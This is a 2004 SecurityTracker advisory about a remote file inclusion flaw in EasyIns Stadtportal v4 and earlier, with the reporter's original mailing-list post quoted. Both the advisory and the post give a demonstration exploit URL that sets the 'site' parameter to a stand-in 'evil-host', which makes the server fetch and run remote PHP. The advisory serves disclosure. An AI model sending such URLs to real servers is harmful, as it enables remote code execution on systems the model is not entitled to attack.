EasyIns Stadtportal Include File Bug Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1010769
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SecurityTracker URL: http://securitytracker.com/id?1010769
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jul 24 2004
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 4 and prior versions
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Description: A vulnerability was reported in EasyIns Stadtportal. A remote user can execute arbitrary PHP code and operating system commands on the target system.
Francisco Alisson reported that a remote user can supply a URL with a specially crafted 'site' parameter to cause the target system
to include and execute PHP code from a remote site. The PHP code, including operating system commands, will run with the privileges
of the target web service.
A demonstration exploit URL is provided:
http://[target]/stadtportal-path/index.php?site=http://[evil-host]
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.easyins.de/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Francisco Alisson <dominusvis@click21.com.br>
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Message History:
None.
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Source Message Contents
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Date: 24 Jul 2004 17:52:14 -0000
From: Francisco Alisson <dominusvis@click21.com.br>
Subject: Easyins Stadtportal
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Easyins Stadtportal v4 and prior seems to be vulnerable to a code inclusion in index.php
http://www.host-vulnerable.com/stadtportal-path/index.php?site=http://www.evil-host.com
If anybody could explain it better than me, do it :) I'm not a security master, i'm just trying to le
arn about it :)
Thanks
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